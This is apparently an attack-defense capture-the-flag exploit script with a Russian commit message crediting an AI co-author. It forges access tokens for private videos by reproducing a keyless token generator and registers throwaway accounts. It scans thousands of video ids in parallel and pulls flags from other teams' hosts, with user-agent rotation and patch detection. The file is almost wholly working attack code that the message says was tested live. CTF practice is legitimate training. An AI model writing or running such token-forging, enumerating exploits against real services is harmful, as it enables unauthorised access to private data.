Единственный рабочий вектор на данный момент: LFI закрыли уже все команды (проверил .1/.4/.5 -- везде 404), а keygen разобрали далеко не все. Токен считается только от video id: seed=(seed*17+42)%62 по алфавиту base62, 30 символов, ключа нет. Форжим -> POST /access пишет строку в access -> haveAccess() пропускает легально -> /watch отдаёт description, /vtt субтитры. Поиск целей: приватное видео выдаёт себя размытым превью. /feed показывает лишь 50 последних, а id растут ~500/мин из-за чужого флуда, поэтому чекерские ролики лежат на глубине в сотни-тысячи id. Сканируем 3000 id в 50 потоков; echo отдаёт статику только на GET (HEAD => 405), так что пробуем GET с Range: bytes=0-0 -- один байт вместо всего PNG. 6 отказов /access подряд => команда запатчена, выходим рано. Проверено вживую: 3 флага с 10.10.10.5, 1 с 10.10.10.1, на 10.10.10.4 корректно определился патч. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
174 lines
7.4 KiB
Python
Executable File
174 lines
7.4 KiB
Python
Executable File
#!/usr/bin/env python3
|
||
import sys
|
||
import re
|
||
import random
|
||
import requests
|
||
from concurrent.futures import ThreadPoolExecutor
|
||
|
||
USE_CUSTOM_USER_AGENT = False
|
||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||
|
||
USER_AGENTS = [
|
||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||
]
|
||
|
||
PORT = 5000
|
||
DEPTH = 3000 # id растут ~500/мин из-за флуда, приватные тонут глубоко
|
||
WORKERS = 50
|
||
MAX_FORGE_FAILS = 6 # столько подряд отказов /access => команда запатчена
|
||
WATCH_RX = re.compile(r"/watch/(\d+)")
|
||
FEED_RX = re.compile(r'src="[^"]*preview_(\d+)(_blured)?\.png"')
|
||
# echo отдаёт статику ТОЛЬКО на GET (HEAD => 405), поэтому пробуем GET,
|
||
# но с Range: качаем один байт вместо всего PNG.
|
||
PROBE_HEADERS = {"Range": "bytes=0-0"}
|
||
ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||
|
||
|
||
def legacy_token(vid):
|
||
"""Восстановлено из keygen/legacy/keygen.a (GenerateToken):
|
||
|
||
int seed = n;
|
||
for (i = 0; i < 30; i++) { seed = (seed*17 + 42) % 62; out[i] = alpha[seed]; }
|
||
|
||
Никакого ключа -- токен целиком выводится из публичного video id.
|
||
Состояние схлопывается в n%62 после первой итерации, так что на весь
|
||
сервис приходится всего 62 различных токена.
|
||
"""
|
||
seed = vid
|
||
out = []
|
||
for _ in range(30):
|
||
seed = (seed * 17 + 42) % 62
|
||
out.append(ALPHABET[seed])
|
||
return "".join(out)
|
||
|
||
|
||
def exploit(target_ip):
|
||
flags = set()
|
||
|
||
headers = {}
|
||
if USE_CUSTOM_USER_AGENT:
|
||
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||
|
||
# -------------------------------------------------------------------------
|
||
# VULN: server/server.go handleAccess() + keygen/legacy/keygen.a
|
||
# if keygen.ValidateKey(key, vid) { s.db.AddAccess(ctx, vid, ac.GetId()) }
|
||
#
|
||
# Share-токен приватного видео считается ТОЛЬКО от video id, который виден
|
||
# в /feed. Форжим токен -> POST /access пишет строку в таблицу access ->
|
||
# haveAccess() пропускает нас легально -> /watch отдаёт description, а
|
||
# /vtt/?id=N субтитры. Обе точки, куда чекер кладёт флаг.
|
||
#
|
||
# Патч LFI на этот путь не влияет: сюда мы приходим с чистым числовым id
|
||
# и с настоящей записью о доступе.
|
||
# -------------------------------------------------------------------------
|
||
try:
|
||
s = requests.Session()
|
||
s.headers.update(headers)
|
||
base = f"http://{target_ip}:{PORT}"
|
||
|
||
# 1. нужен аккаунт: на /access висит RequiredMiddleware
|
||
login = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
|
||
r = s.post(f"{base}/register",
|
||
data={"login": login, "password": "pw123456"}, timeout=6)
|
||
if r.status_code not in (200, 302):
|
||
print(f"[-] {target_ip}: register -> {r.status_code}", file=sys.stderr, flush=True)
|
||
return flags
|
||
|
||
# 2. Приватное видео выдаёт себя размытым превью. /feed показывает лишь
|
||
# 50 последних, а id растут ~500/мин из-за чужого флуда, так что
|
||
# чекерские приватные ролики лежат на глубине в сотни-тысячи id.
|
||
# Сканируем диапазон параллельно, по одному байту на пробу.
|
||
feed = s.get(f"{base}/feed", timeout=6).text
|
||
ids = [int(x) for x in WATCH_RX.findall(feed)]
|
||
if not ids:
|
||
print(f"[!] {target_ip}: пустой /feed", file=sys.stderr, flush=True)
|
||
return flags
|
||
top = max(ids)
|
||
|
||
def is_private(vid):
|
||
try:
|
||
r = s.get(f"{base}/public/static/preview_{vid}_blured.png",
|
||
headers=PROBE_HEADERS, timeout=5)
|
||
return vid if r.status_code in (200, 206) else None
|
||
except requests.RequestException:
|
||
return None
|
||
|
||
span = range(top, max(0, top - DEPTH), -1)
|
||
with ThreadPoolExecutor(max_workers=WORKERS) as ex:
|
||
private = [v for v in ex.map(is_private, span) if v]
|
||
private.sort(reverse=True)
|
||
print(f"[*] {target_ip}: top={top}, приватных найдено {len(private)}",
|
||
file=sys.stderr, flush=True)
|
||
|
||
fails = 0
|
||
for vid in private:
|
||
try:
|
||
w = s.get(f"{base}/watch/{vid}", timeout=6)
|
||
except requests.RequestException:
|
||
continue
|
||
|
||
if w.status_code == 200:
|
||
# публичное (или уже открытое) -- флаг всё равно может лежать тут
|
||
flags.update(FLAG_RX.findall(w.text))
|
||
continue
|
||
if w.status_code != 403:
|
||
continue
|
||
|
||
# 403 => приватное и доступа нет: форжим токен
|
||
r = s.post(f"{base}/access",
|
||
data={"videoID": vid, "token": legacy_token(vid)},
|
||
timeout=6, allow_redirects=False)
|
||
if not r.headers.get("Location", "").endswith(f"/watch/{vid}"):
|
||
fails += 1
|
||
if fails >= MAX_FORGE_FAILS:
|
||
print(f"[!] {target_ip}: {fails} отказов подряд -- keygen запатчен",
|
||
file=sys.stderr, flush=True)
|
||
break
|
||
continue
|
||
fails = 0
|
||
|
||
found = set(FLAG_RX.findall(s.get(f"{base}/watch/{vid}", timeout=6).text))
|
||
found |= set(FLAG_RX.findall(
|
||
s.get(f"{base}/vtt/", params={"id": vid}, timeout=6).text))
|
||
if found:
|
||
flags.update(found)
|
||
print(f"[+] {target_ip}: видео {vid} -> {len(found)} флагов",
|
||
file=sys.stderr, flush=True)
|
||
|
||
except requests.RequestException as e:
|
||
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||
# -------------------------------------------------------------------------
|
||
|
||
return flags
|
||
|
||
|
||
def main():
|
||
if len(sys.argv) < 2:
|
||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||
sys.exit(1)
|
||
|
||
target_ip = sys.argv[1]
|
||
|
||
try:
|
||
found_flags = exploit(target_ip)
|
||
|
||
if found_flags is None:
|
||
found_flags = []
|
||
elif isinstance(found_flags, str):
|
||
found_flags = [found_flags]
|
||
|
||
for flag in found_flags:
|
||
clean_flag = str(flag).strip()
|
||
if FLAG_RX.fullmatch(clean_flag):
|
||
print(clean_flag, flush=True)
|
||
|
||
except Exception as e:
|
||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
main()
|